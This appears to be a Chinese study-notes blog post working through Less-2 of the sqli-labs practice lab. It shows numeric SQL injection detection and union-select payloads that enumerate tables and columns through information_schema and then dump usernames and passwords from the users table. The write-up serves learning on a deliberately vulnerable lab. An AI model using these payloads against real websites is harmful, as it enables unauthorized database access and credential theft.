sqli-lab 学习记录less2

sqli-lab 学习记录less2

less2
1.我们先来判断这次的sql注入类型
我们输入

?id=1
?id=1'

发现第一个语句返回正确
但是第二个却有了报错
我们因此可以判断
这次的sql注入类型为数字类型
2.
之后和less1一样
我们进行暴表的名字(暴表)
我们输入

?id=0 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()

我们由此得到
在这里插入图片描述
3.我们之后开始爆列喽
输入

?id=0 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'

我们可以得到
在这里插入图片描述4.最后我们来获得我们要得到的东西
输入代码

?id=0 union select 1,group_concat(id,username,password),3 from users

就得到了我们要得到的东西
在这里插入图片描述另外
我们附加关于where的知识

table_schema是数据库名
database()函数会返回当前的数据库名
在这里插入图片描述在这里插入图片描述
where就是约束条件
这个 where后面 就是为了约束一下 我要查询的数据库 而不是去 看其他数据库里的东西
我要看的 东西 就是 当前数据库database里的 不是其他的数据里的
比如 有两个数据库 数据库1 数据库2 当前的数据库database是数据库1 你可以 where table_schema=database() 或者是where table_schema=‘数据库1’

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值